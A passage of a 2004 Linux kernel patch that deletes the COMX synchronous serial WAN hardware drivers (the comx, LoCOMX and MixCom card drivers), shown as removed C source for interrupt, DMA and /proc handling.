remove_proc_entry(FILENAME_MEMADDR, ch->procdir); - remove_proc_entry(FILENAME_FIRMWARE, ch->procdir); - remove_proc_entry(FILENAME_TWIN, ch->procdir); - if (ch->hardware == &hicomx_hw || ch->hardware == &cmx_hw) { - remove_proc_entry(FILENAME_CLOCK, ch->procdir); - } - - MOD_DEC_USE_COUNT; - return 0; -} - -static int COMX_dump(struct net_device *dev) -{ - printk(KERN_INFO "%s: COMX_dump called, why ?\n", dev->name); - return 0; -} - -static struct comx_hardware comx_hw = { - "comx", - VERSION, - COMX_init, - COMX_exit, - COMX_dump, - NULL -}; - -static struct comx_hardware cmx_hw = { - "cmx", - VERSION, - COMX_init, - COMX_exit, - COMX_dump, - NULL -}; - -static struct comx_hardware hicomx_hw = { - "hicomx", - VERSION, - COMX_init, - COMX_exit, - COMX_dump, - NULL -}; - -static int __init comx_hw_comx_init(void) -{ - comx_register_hardware(&comx_hw); - comx_register_hardware(&cmx_hw); - comx_register_hardware(&hicomx_hw); - return 0; -} - -static void __exit comx_hw_comx_exit(void) -{ - comx_unregister_hardware("comx"); - comx_unregister_hardware("cmx"); - comx_unregister_hardware("hicomx"); -} - -module_init(comx_hw_comx_init); -module_exit(comx_hw_comx_exit); ===== drivers/net/wan/comx-hw-locomx.c 1.10 vs edited ===== --- 1.10/drivers/net/wan/comx-hw-locomx.c Wed Mar 3 18:42:59 2004 +++ edited/drivers/net/wan/comx-hw-locomx.c Fri May 7 13:05:52 2004 @@ -1,496 +1 @@ -/* - * Hardware driver for the LoCOMX card, using the generic z85230 - * functions - * - * Author: Gergely Madarasz - * - * Based on skeleton code and old LoCOMX driver by Tivadar Szemethy - * and the hostess_sv11 driver - * - * Contributors: - * Arnaldo Carvalho de Melo (0.14) - * - * Copyright (C) 1999 ITConsult-Pro Co. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.10 (99/06/17): - * - rewritten for the z85230 layer - * - * Version 0.11 (99/06/21): - * - some printk's fixed - * - get rid of a memory leak (it was impossible though :)) - * - * Version 0.12 (99/07/07): - * - check CTS for modem lines, not DCD (which is always high - * in case of this board) - * Version 0.13 (99/07/08): - * - Fix the transmitter status check - * - Handle the net device statistics better - * Version 0.14 (00/08/15): - * - resource release on failure at LOCOMX_init - */ -#define VERSION "0.14" - -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#include "comx.h" -#include "z85230.h" - -MODULE_AUTHOR("Gergely Madarasz "); -MODULE_DESCRIPTION("Hardware driver for the LoCOMX board"); -MODULE_LICENSE("GPL"); - -#define RX_DMA 3 -#define TX_DMA 1 -#define LOCOMX_ID 0x33 -#define LOCOMX_IO_EXTENT 8 -#define LOCOMX_DEFAULT_IO 0x368 -#define LOCOMX_DEFAULT_IRQ 7 - -u8 z8530_locomx[] = { - 11, TCRTxCP, - 14, DTRREQ, - 255 -}; - -struct locomx_data { - int io_extent; - struct z8530_dev board; - struct timer_list status_timer; -}; - -static int LOCOMX_txe(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw = ch->HW_privdata; - - return (!hw->board.chanA.tx_next_skb); -} - - -static void locomx_rx(struct z8530_channel *c, struct sk_buff *skb) -{ - struct net_device *dev = c->netdevice; - struct comx_channel *ch = netdev_priv(dev); - - if (ch->debug_flags & DEBUG_HW_RX) { - comx_debug_skb(dev, skb, "locomx_rx receiving"); - } - ch->LINE_rx(dev,skb); -} - -static int LOCOMX_send_packet(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw = ch->HW_privdata; - - if (ch->debug_flags & DEBUG_HW_TX) { - comx_debug_bytes(dev, skb->data, skb->len, "LOCOMX_send_packet"); - } - - if (!(ch->line_status & LINE_UP)) { - return FRAME_DROPPED; - } - - if(z8530_queue_xmit(&hw->board.chanA,skb)) { - printk(KERN_WARNING "%s: FRAME_DROPPED\n",dev->name); - return FRAME_DROPPED; - } - - if (ch->debug_flags & DEBUG_HW_TX) { - comx_debug(dev, "%s: LOCOMX_send_packet was successful\n\n", dev->name); - } - - if(!hw->board.chanA.tx_next_skb) { - return FRAME_QUEUED; - } else { - return FRAME_ACCEPTED; - } -} - -static void locomx_status_timerfun(unsigned long d) -{ - struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw = ch->HW_privdata; - - if(!(ch->line_status & LINE_UP) && - (hw->board.chanA.status & CTS)) { - ch->LINE_status(dev, ch->line_status | LINE_UP); - } - if((ch->line_status & LINE_UP) && - !(hw->board.chanA.status & CTS)) { - ch->LINE_status(dev, ch->line_status & ~LINE_UP); - } - mod_timer(&hw->status_timer,jiffies + ch->lineup_delay * HZ); -} - - -static int LOCOMX_open(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - unsigned long flags; - int ret; - - if (!dev->base_addr || !dev->irq) { - return -ENODEV; - } - - if (!request_region(dev->base_addr, hw->io_extent, dev->name)) { - return -EAGAIN; - } - - hw->board.chanA.ctrlio=dev->base_addr + 5; - hw->board.chanA.dataio=dev->base_addr + 7; - - hw->board.irq=dev->irq; - hw->board.chanA.netdevice=dev; - hw->board.chanA.dev=&hw->board; - hw->board.name=dev->name; - hw->board.chanA.txdma=TX_DMA; - hw->board.chanA.rxdma=RX_DMA; - hw->board.chanA.irqs=&z8530_nop; - hw->board.chanB.irqs=&z8530_nop; - - if(request_irq(dev->irq, z8530_interrupt, SA_INTERRUPT, - dev->name, &hw->board)) { - printk(KERN_ERR "%s: unable to obtain irq %d\n", dev->name, - dev->irq); - ret=-EAGAIN; - goto irq_fail; - } - if(request_dma(TX_DMA,"LoCOMX (TX)")) { - printk(KERN_ERR "%s: unable to obtain TX DMA (DMA channel %d)\n", - dev->name, TX_DMA); - ret=-EAGAIN; - goto dma1_fail; - } - - if(request_dma(RX_DMA,"LoCOMX (RX)")) { - printk(KERN_ERR "%s: unable to obtain RX DMA (DMA channel %d)\n", - dev->name, RX_DMA); - ret=-EAGAIN; - goto dma2_fail; - } - - save_flags(flags); - cli(); - - if(z8530_init(&hw->board)!=0) - { - printk(KERN_ERR "%s: Z8530 device not found.\n",dev->name); - ret=-ENODEV; - goto z8530_fail; - } - - hw->board.chanA.dcdcheck=CTS; - - z8530_channel_load(&hw->board.chanA, z8530_hdlc_kilostream_85230); - z8530_channel_load(&hw->board.chanA, z8530_locomx); - z8530_channel_load(&hw->board.chanB, z8530_dead_port); - - z8530_describe(&hw->board, "I/O", dev->base_addr); - - if((ret=z8530_sync_dma_open(dev, &hw->board.chanA))!=0) { - goto z8530_fail; - } - - restore_flags(flags); - - - hw->board.active=1; - hw->board.chanA.rx_function=locomx_rx; - - ch->init_status |= HW_OPEN; - if (hw->board.chanA.status & DCD) { - ch->line_status |= LINE_UP; - } else { - ch->line_status &= ~LINE_UP; - } - - comx_status(dev, ch->line_status); - - init_timer(&hw->status_timer); - hw->status_timer.function=locomx_status_timerfun; - hw->status_timer.data=(unsigned long)dev; - hw->status_timer.expires=jiffies + ch->lineup_delay * HZ; - add_timer(&hw->status_timer); - - for (; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IO) == 0 || - strcmp(procfile->name, FILENAME_IRQ) == 0) { - procfile->mode = S_IFREG | 0444; - } - } - return 0; - -z8530_fail: - restore_flags(flags); - free_dma(RX_DMA); -dma2_fail: - free_dma(TX_DMA); -dma1_fail: - free_irq(dev->irq, &hw->board); -irq_fail: - release_region(dev->base_addr, hw->io_extent); - return ret; -} - -static int LOCOMX_close(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - - hw->board.chanA.rx_function=z8530_null_rx; - netif_stop_queue(dev); - z8530_sync_dma_close(dev, &hw->board.chanA); - - z8530_shutdown(&hw->board); - - del_timer(&hw->status_timer); - free_dma(RX_DMA); - free_dma(TX_DMA); - free_irq(dev->irq,&hw->board); - release_region(dev->base_addr,8); - - for (; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IO) == 0 || - strcmp(procfile->name, FILENAME_IRQ) == 0) { - procfile->mode = S_IFREG | 0644; - } - } - - ch->init_status &= ~HW_OPEN; - return 0; -} - -static int LOCOMX_statistics(struct net_device *dev,char *page) -{ - int len = 0; - - len += sprintf(page + len, "Hello\n"); - - return len; -} - -static int LOCOMX_dump(struct net_device *dev) { - printk(KERN_INFO "LOCOMX_dump called\n"); - return(-1); -} - -static int locomx_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - int len = 0; - - if (strcmp(file->name, FILENAME_IO) == 0) { - len = sprintf(page, "0x%x\n", (unsigned int)dev->base_addr); - } else if (strcmp(file->name, FILENAME_IRQ) == 0) { - len = sprintf(page, "%d\n", (unsigned int)dev->irq); - } else { - printk(KERN_ERR "hw_read_proc: internal error, filename %s\n", - file->name); - return -EBADF; - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) { - *eof = 1; - } - return min_t(int, count, len - off); -} - -static int locomx_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = (struct net_device *)entry->parent->data; - int val; - char *page; - - if (!(page = (char *)__get_free_page(GFP_KERNEL))) { - return -ENOMEM; - } - - if (copy_from_user(page, buffer, count = min_t(unsigned long, count, PAGE_SIZE))) { - free_page((unsigned long)page); - return -EBADF; - } - if (*(page + count - 1) == '\n') { - *(page + count - 1) = 0; - } - - if (strcmp(entry->name, FILENAME_IO) == 0) { - val = simple_strtoul(page, NULL, 0); - if (val != 0x360 && val != 0x368 && val != 0x370 && - val != 0x378) { - printk(KERN_ERR "LoCOMX: incorrect io address!\n"); - } else { - dev->base_addr = val; - } - } else if (strcmp(entry->name, FILENAME_IRQ) == 0) { - val = simple_strtoul(page, NULL, 0); - if (val != 3 && val != 4 && val != 5 && val != 6 && val != 7) { - printk(KERN_ERR "LoCOMX: incorrect irq value!\n"); - } else { - dev->irq = val; - } - } else { - printk(KERN_ERR "locomx_write_proc: internal error, filename %s\n", - entry->name); - free_page((unsigned long)page); - return -EBADF; - } - - free_page((unsigned long)page); - return count; -} - - - -static int LOCOMX_init(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct locomx_data *hw; - struct proc_dir_entry *new_file; - - /* Alloc data for private structure */ - if ((ch->HW_privdata = kmalloc(sizeof(struct locomx_data), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - - memset(hw = ch->HW_privdata, 0, sizeof(struct locomx_data)); - hw->io_extent = LOCOMX_IO_EXTENT; - - /* Register /proc files */ - if ((new_file = create_proc_entry(FILENAME_IO, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_HW_privdata; - } - new_file->data = (void *)new_file; - new_file->read_proc = &locomx_read_proc; - new_file->write_proc = &locomx_write_proc; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_IRQ, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_io; - } - new_file->data = (void *)new_file; - new_file->read_proc = &locomx_read_proc; - new_file->write_proc = &locomx_write_proc; - new_file->nlink = 1; - -/* No clock yet */ -/* - if ((new_file = create_proc_entry(FILENAME_CLOCK, S_IFREG | 0644, - ch->procdir)) == NULL) { - return -EIO; - } - new_file->data = (void *)new_file; - new_file->read_proc = &locomx_read_proc; - new_file->write_proc = &locomx_write_proc; - new_file->nlink = 1; -*/ - - ch->HW_access_board = NULL; - ch->HW_release_board = NULL; - ch->HW_txe = LOCOMX_txe; - ch->HW_open = LOCOMX_open; - ch->HW_close = LOCOMX_close; - ch->HW_send_packet = LOCOMX_send_packet; - ch->HW_statistics = LOCOMX_statistics; - ch->HW_set_clock = NULL; - - ch->current_stats = &hw->board.chanA.stats; - memcpy(ch->current_stats, &ch->stats, sizeof(struct net_device_stats)); - - dev->base_addr = LOCOMX_DEFAULT_IO; - dev->irq = LOCOMX_DEFAULT_IRQ; - - - /* O.K. Count one more user on this module */ - MOD_INC_USE_COUNT; - return 0; -cleanup_filename_io: - remove_proc_entry(FILENAME_IO, ch->procdir); -cleanup_HW_privdata: - kfree(ch->HW_privdata); - return -EIO; -} - - -static int LOCOMX_exit(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - - ch->HW_access_board = NULL; - ch->HW_release_board = NULL; - ch->HW_txe = NULL; - ch->HW_open = NULL; - ch->HW_close = NULL; - ch->HW_send_packet = NULL; - ch->HW_statistics = NULL; - ch->HW_set_clock = NULL; - memcpy(&ch->stats, ch->current_stats, sizeof(struct net_device_stats)); - ch->current_stats = &ch->stats; - - kfree(ch->HW_privdata); - - remove_proc_entry(FILENAME_IO, ch->procdir); - remove_proc_entry(FILENAME_IRQ, ch->procdir); -// remove_proc_entry(FILENAME_CLOCK, ch->procdir); - - MOD_DEC_USE_COUNT; - return 0; -} - -static struct comx_hardware locomx_hw = { - "locomx", - VERSION, - LOCOMX_init, - LOCOMX_exit, - LOCOMX_dump, - NULL -}; - -static int __init comx_hw_locomx_init(void) -{ - comx_register_hardware(&locomx_hw); - return 0; -} - -static void __exit comx_hw_locomx_exit(void) -{ - comx_unregister_hardware("locomx"); -} - -module_init(comx_hw_locomx_init); -module_exit(comx_hw_locomx_exit); ===== drivers/net/wan/comx-hw-mixcom.c 1.12 vs edited ===== --- 1.12/drivers/net/wan/comx-hw-mixcom.c Thu Sep 11 19:40:53 2003 +++ edited/drivers/net/wan/comx-hw-mixcom.c Fri May 7 13:05:52 2004 @@ -1,960 +1 @@ -/* - * Hardware driver for the MixCom synchronous serial board - * - * Author: Gergely Madarasz - * - * based on skeleton driver code and a preliminary hscx driver by - * Tivadar Szemethy - * - * Copyright (C) 1998-1999 ITConsult-Pro Co. - * - * Contributors: - * Arnaldo Carvalho de Melo (0.65) - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.60 (99/06/11): - * - ported to the kernel, now works as builtin code - * - * Version 0.61 (99/06/11): - * - recognize the one-channel MixCOM card (id byte = 0x13) - * - printk fixes - * - * Version 0.62 (99/07/15): - * - fixes according to the new hw docs - * - report line status when open - * - * Version 0.63 (99/09/21): - * - line status report fixes - * - * Version 0.64 (99/12/01): - * - some more cosmetical fixes - * - * Version 0.65 (00/08/15) - * - resource release on failure at MIXCOM_init - */ -#define VERSION "0.65" - -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#include "comx.h" -#include "mixcom.h" -#include "hscx.h" - -MODULE_AUTHOR("Gergely Madarasz "); -MODULE_DESCRIPTION("Hardware-level driver for the serial port of the MixCom board"); -MODULE_LICENSE("GPL"); - -#define MIXCOM_DATA(d) ((struct mixcom_privdata *)(COMX_CHANNEL(d)-> \ - HW_privdata)) - -#define MIXCOM_BOARD_BASE(d) (d->base_addr - MIXCOM_SERIAL_OFFSET - \ - (1 - MIXCOM_DATA(d)->channel) * MIXCOM_CHANNEL_OFFSET) - -#define MIXCOM_DEV_BASE(port,channel) (port + MIXCOM_SERIAL_OFFSET + \ - (1 - channel) * MIXCOM_CHANNEL_OFFSET) - -/* Values used to set the IRQ line */ -static unsigned char mixcom_set_irq[]={0xFF, 0xFF, 0xFF, 0x0, 0xFF, 0x2, 0x4, 0x6, 0xFF, 0xFF, 0x8, 0xA, 0xC, 0xFF, 0xE, 0xFF}; - -static unsigned char* hscx_versions[]={"A1", NULL, "A2", NULL, "A3", "2.1"}; - -struct mixcom_privdata { - u16 clock; - char channel; - long txbusy; - struct sk_buff *sending; - unsigned tx_ptr; - struct sk_buff *recving; - unsigned rx_ptr; - unsigned char status; - char card_has_status; -}; - -static inline void wr_hscx(struct net_device *dev, int reg, unsigned char val) -{ - outb(val, dev->base_addr + reg); -} - -static inline unsigned char rd_hscx(struct net_device *dev, int reg) -{ - return inb(dev->base_addr + reg); -} - -static inline void hscx_cmd(struct net_device *dev, int cmd) -{ - unsigned long jiffs = jiffies; - unsigned char cec; - unsigned delay = 0; - - while ((cec = (rd_hscx(dev, HSCX_STAR) & HSCX_CEC) != 0) && - time_before(jiffies, jiffs + HZ)) { - udelay(1); - if (++delay > (100000 / HZ)) break; - } - if (cec) { - printk(KERN_WARNING "%s: CEC stuck, probably no clock!\n",dev->name); - } else { - wr_hscx(dev, HSCX_CMDR, cmd); - } -} - -static inline void hscx_fill_fifo(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - register word to_send = hw->sending->len - hw->tx_ptr; - - - outsb(dev->base_addr + HSCX_FIFO, - &(hw->sending->data[hw->tx_ptr]), min_t(unsigned int, to_send, 32)); - if (to_send <= 32) { - hscx_cmd(dev, HSCX_XTF | HSCX_XME); - kfree_skb(hw->sending); - hw->sending = NULL; - hw->tx_ptr = 0; - } else { - hscx_cmd(dev, HSCX_XTF); - hw->tx_ptr += 32; - } -} - -static inline void hscx_empty_fifo(struct net_device *dev, int cnt) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - - if (hw->recving == NULL) { - if (!(hw->recving = dev_alloc_skb(HSCX_MTU + 16))) { - ch->stats.rx_dropped++; - hscx_cmd(dev, HSCX_RHR); - } else { - skb_reserve(hw->recving, 16); - skb_put(hw->recving, HSCX_MTU); - } - hw->rx_ptr = 0; - } - if (cnt > 32 || !cnt || hw->recving == NULL) { - printk(KERN_ERR "hscx_empty_fifo: cnt is %d, hw->recving %p\n", - cnt, (void *)hw->recving); - return; - } - - insb(dev->base_addr + HSCX_FIFO, &(hw->recving->data[hw->rx_ptr]),cnt); - hw->rx_ptr += cnt; - hscx_cmd(dev, HSCX_RMC); -} - - -static int MIXCOM_txe(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - - return !test_bit(0, &hw->txbusy); -} - -static int mixcom_probe(struct net_device *dev) -{ - unsigned long flags; - int id, vstr, ret=0; - - save_flags(flags); cli(); - - id=inb_p(MIXCOM_BOARD_BASE(dev) + MIXCOM_ID_OFFSET) & 0x7f; - - if (id != MIXCOM_ID ) { - ret=-ENODEV; - printk(KERN_WARNING "%s: no MixCOM board found at 0x%04lx\n",dev->name, dev->base_addr); - goto out; - } - - vstr=inb_p(dev->base_addr + HSCX_VSTR) & 0x0f; - if(vstr>=sizeof(hscx_versions)/sizeof(char*) || - hscx_versions[vstr]==NULL) { - printk(KERN_WARNING "%s: board found but no HSCX chip detected at 0x%4lx (vstr = 0x%1x)\n",dev->name,dev->base_addr,vstr); - ret = -ENODEV; - } else { - printk(KERN_INFO "%s: HSCX chip version %s\n",dev->name,hscx_versions[vstr]); - ret = 0; - } - -out: - - restore_flags(flags); - return ret; -} - -#if 0 -static void MIXCOM_set_clock(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - - if (hw->clock) { - ; - } else { - ; - } -} -#endif - -static void mixcom_board_on(struct net_device *dev) -{ - outb_p(MIXCOM_OFF , MIXCOM_BOARD_BASE(dev) + MIXCOM_IT_OFFSET); - udelay(1000); - outb_p(mixcom_set_irq[dev->irq] | MIXCOM_ON, - MIXCOM_BOARD_BASE(dev) + MIXCOM_IT_OFFSET); - udelay(1000); -} - -static void mixcom_board_off(struct net_device *dev) -{ - outb_p(MIXCOM_OFF , MIXCOM_BOARD_BASE(dev) + MIXCOM_IT_OFFSET); - udelay(1000); -} - -static void mixcom_off(struct net_device *dev) -{ - wr_hscx(dev, HSCX_CCR1, 0x0); -} - -static void mixcom_on(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - wr_hscx(dev, HSCX_CCR1, HSCX_PU | HSCX_ODS | HSCX_ITF); // power up, push-pull - wr_hscx(dev, HSCX_CCR2, HSCX_CIE /* | HSCX_RIE */ ); - wr_hscx(dev, HSCX_MODE, HSCX_TRANS | HSCX_ADM8 | HSCX_RAC | HSCX_RTS ); - wr_hscx(dev, HSCX_RLCR, HSCX_RC | 47); // 1504 bytes - wr_hscx(dev, HSCX_MASK, HSCX_RSC | HSCX_TIN ); - hscx_cmd(dev, HSCX_XRES | HSCX_RHR); - - if (ch->HW_set_clock) ch->HW_set_clock(dev); - -} - -static int MIXCOM_send_packet(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - unsigned long flags; - - if (ch->debug_flags & DEBUG_HW_TX) { - comx_debug_bytes(dev, skb->data, skb->len, "MIXCOM_send_packet"); - } - - if (!(ch->line_status & LINE_UP)) { - return FRAME_DROPPED; - } - - if (skb->len > HSCX_MTU) { - ch->stats.tx_errors++; - return FRAME_ERROR; - } - - save_flags(flags); cli(); - - if (test_and_set_bit(0, &hw->txbusy)) { - printk(KERN_ERR "%s: transmitter called while busy... dropping frame (length %d)\n", dev->name, skb->len); - restore_flags(flags); - return FRAME_DROPPED; - } - - - hw->sending = skb; - hw->tx_ptr = 0; - hw->txbusy = 1; -// atomic_inc(&skb->users); // save it - hscx_fill_fifo(dev); - restore_flags(flags); - - ch->stats.tx_packets++; - ch->stats.tx_bytes += skb->len; - - if (ch->debug_flags & DEBUG_HW_TX) { - comx_debug(dev, "MIXCOM_send_packet was successful\n\n"); - } - - return FRAME_ACCEPTED; -} - -static inline void mixcom_receive_frame(struct net_device *dev) -{ - struct comx_channel *ch=dev->priv; - struct mixcom_privdata *hw=ch->HW_privdata; - register byte rsta; - register word length; - - rsta = rd_hscx(dev, HSCX_RSTA) & (HSCX_VFR | HSCX_RDO | - HSCX_CRC | HSCX_RAB); - length = ((rd_hscx(dev, HSCX_RBCH) & 0x0f) << 8) | - rd_hscx(dev, HSCX_RBCL); - - if ( length > hw->rx_ptr ) { - hscx_empty_fifo(dev, length - hw->rx_ptr); - } - - if (!(rsta & HSCX_VFR)) { - ch->stats.rx_length_errors++; - } - if (rsta & HSCX_RDO) { - ch->stats.rx_over_errors++; - } - if (!(rsta & HSCX_CRC)) { - ch->stats.rx_crc_errors++; - } - if (rsta & HSCX_RAB) { - ch->stats.rx_frame_errors++; - } - ch->stats.rx_packets++; - ch->stats.rx_bytes += length; - - if (rsta == (HSCX_VFR | HSCX_CRC) && hw->recving) { - skb_trim(hw->recving, hw->rx_ptr - 1); - if (ch->debug_flags & DEBUG_HW_RX) { - comx_debug_skb(dev, hw->recving, - "MIXCOM_interrupt receiving"); - } - hw->recving->dev = dev; - if (ch->LINE_rx) { - ch->LINE_rx(dev, hw->recving); - } - } - else if(hw->recving) { - kfree_skb(hw->recving); - } - hw->recving = NULL; - hw->rx_ptr = 0; -} - - -static inline void mixcom_extended_interrupt(struct net_device *dev) -{ - struct comx_channel *ch=dev->priv; - struct mixcom_privdata *hw=ch->HW_privdata; - register byte exir; - - exir = rd_hscx(dev, HSCX_EXIR) & (HSCX_XDU | HSCX_RFO | HSCX_CSC ); - - if (exir & HSCX_RFO) { - ch->stats.rx_over_errors++; - if (hw->rx_ptr) { - kfree_skb(hw->recving); - hw->recving = NULL; hw->rx_ptr = 0; - } - printk(KERN_ERR "MIXCOM: rx overrun\n"); - hscx_cmd(dev, HSCX_RHR); - } - - if (exir & HSCX_XDU) { // xmit underrun - ch->stats.tx_errors++; - ch->stats.tx_aborted_errors++; - if (hw->tx_ptr) { - kfree_skb(hw->sending); - hw->sending = NULL; - hw->tx_ptr = 0; - } - hscx_cmd(dev, HSCX_XRES); - clear_bit(0, &hw->txbusy); - if (ch->LINE_tx) { - ch->LINE_tx(dev); - } - printk(KERN_ERR "MIXCOM: tx underrun\n"); - } - - if (exir & HSCX_CSC) { - ch->stats.tx_carrier_errors++; - if ((rd_hscx(dev, HSCX_STAR) & HSCX_CTS) == 0) { // Vonal le - if (test_and_clear_bit(0, &ch->lineup_pending)) { - del_timer(&ch->lineup_timer); - } else if (ch->line_status & LINE_UP) { - ch->line_status &= ~LINE_UP; - if (ch->LINE_status) { - ch->LINE_status(dev,ch->line_status); - } - } - } - if (!(ch->line_status & LINE_UP) && (rd_hscx(dev, HSCX_STAR) & - HSCX_CTS)) { // Vonal fol - if (!test_and_set_bit(0,&ch->lineup_pending)) { - ch->lineup_timer.function = comx_lineup_func; - ch->lineup_timer.data = (unsigned long)dev; - ch->lineup_timer.expires = jiffies + HZ * - ch->lineup_delay; - add_timer(&ch->lineup_timer); - hscx_cmd(dev, HSCX_XRES); - clear_bit(0, &hw->txbusy); - if (hw->sending) { - kfree_skb(hw->sending); - } - hw->sending=NULL; - hw->tx_ptr = 0; - } - } - } -} - - -static irqreturn_t MIXCOM_interrupt(int irq, void *dev_id, struct pt_regs *regs) -{ - unsigned long flags; - struct net_device *dev = (struct net_device *)dev_id; - struct comx_channel *ch, *twin_ch; - struct mixcom_privdata *hw, *twin_hw; - register unsigned char ista; - - if (dev==NULL) { - printk(KERN_ERR "comx_interrupt: irq %d for unknown device\n",irq); - return IRQ_NONE; - } - - ch = dev->priv; - hw = ch->HW_privdata; - - save_flags(flags); cli(); - - while((ista = (rd_hscx(dev, HSCX_ISTA) & (HSCX_RME | HSCX_RPF | - HSCX_XPR | HSCX_EXB | HSCX_EXA | HSCX_ICA)))) { - register byte ista2 = 0; - - if (ista & HSCX_RME) { - mixcom_receive_frame(dev); - } - if (ista & HSCX_RPF) { - hscx_empty_fifo(dev, 32); - } - if (ista & HSCX_XPR) { - if (hw->tx_ptr) { - hscx_fill_fifo(dev); - } else { - clear_bit(0, &hw->txbusy); - ch->LINE_tx(dev); - } - } - - if (ista & HSCX_EXB) { - mixcom_extended_interrupt(dev); - } - - if ((ista & HSCX_EXA) && ch->twin) { - mixcom_extended_interrupt(ch->twin); - } - - if ((ista & HSCX_ICA) && ch->twin && - (ista2 = rd_hscx(ch->twin, HSCX_ISTA) & - (HSCX_RME | HSCX_RPF | HSCX_XPR ))) { - if (ista2 & HSCX_RME) { - mixcom_receive_frame(ch->twin); - } - if (ista2 & HSCX_RPF) { - hscx_empty_fifo(ch->twin, 32); - } - if (ista2 & HSCX_XPR) { - twin_ch=ch->twin->priv; - twin_hw=twin_ch->HW_privdata; - if (twin_hw->tx_ptr) { - hscx_fill_fifo(ch->twin); - } else { - clear_bit(0, &twin_hw->txbusy); - ch->LINE_tx(ch->twin); - } - } - } - } - - restore_flags(flags); - return IRQ_HANDLED; -} - -static int MIXCOM_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - unsigned long flags; - int ret = -ENODEV; - - if (!dev->base_addr || !dev->irq) - goto err_ret; - - - if(hw->channel==1) { - if(!TWIN(dev) || !(COMX_CHANNEL(TWIN(dev))->init_status & - IRQ_ALLOCATED)) { - printk(KERN_ERR "%s: channel 0 not yet initialized\n",dev->name); - ret = -EAGAIN; - goto err_ret; - } - } - - - /* Is our hw present at all ? Not checking for channel 0 if it is already - open */ - if(hw->channel!=0 || !(ch->init_status & IRQ_ALLOCATED)) { - if (!request_region(dev->base_addr, MIXCOM_IO_EXTENT, dev->name)) { - ret = -EAGAIN; - goto err_ret; - } - if (mixcom_probe(dev)) { - ret = -ENODEV; - goto err_release_region; - } - } - - if(hw->channel==0 && !(ch->init_status & IRQ_ALLOCATED)) { - if (request_irq(dev->irq, MIXCOM_interrupt, 0, - dev->name, (void *)dev)) { - printk(KERN_ERR "MIXCOM: unable to obtain irq %d\n", dev->irq); - ret = -EAGAIN; - goto err_release_region; - } - } - - save_flags(flags); cli(); - - if(hw->channel==0 && !(ch->init_status & IRQ_ALLOCATED)) { - ch->init_status|=IRQ_ALLOCATED; - mixcom_board_on(dev); - } - - mixcom_on(dev); - - - hw->status=inb(MIXCOM_BOARD_BASE(dev) + MIXCOM_STATUS_OFFSET); - if(hw->status != 0xff) { - printk(KERN_DEBUG "%s: board has status register, good\n", dev->name); - hw->card_has_status=1; - } - - hw->txbusy = 0; - ch->init_status |= HW_OPEN; - - if (rd_hscx(dev, HSCX_STAR) & HSCX_CTS) { - ch->line_status |= LINE_UP; - } else { - ch->line_status &= ~LINE_UP; - } - - restore_flags(flags); - - ch->LINE_status(dev, ch->line_status); - - for (; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IO) == 0 || - strcmp(procfile->name, FILENAME_CHANNEL) == 0 || - strcmp(procfile->name, FILENAME_CLOCK) == 0 || - strcmp(procfile->name, FILENAME_IRQ) == 0) { - procfile->mode = S_IFREG | 0444; - } - } - - return 0; - -err_release_region: - release_region(dev->base_addr, MIXCOM_IO_EXTENT); -err_ret: - return ret; -} - -static int MIXCOM_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - unsigned long flags; - - - save_flags(flags); cli(); - - mixcom_off(dev); - - /* This is channel 0, twin is not open, we can safely turn off everything */ - if(hw->channel==0 && (!(TWIN(dev)) || - !(COMX_CHANNEL(TWIN(dev))->init_status & HW_OPEN))) { - mixcom_board_off(dev); - free_irq(dev->irq, dev); - release_region(dev->base_addr, MIXCOM_IO_EXTENT); - ch->init_status &= ~IRQ_ALLOCATED; - } - - /* This is channel 1, channel 0 has already been shutdown, we can release - this one too */ - if(hw->channel==1 && 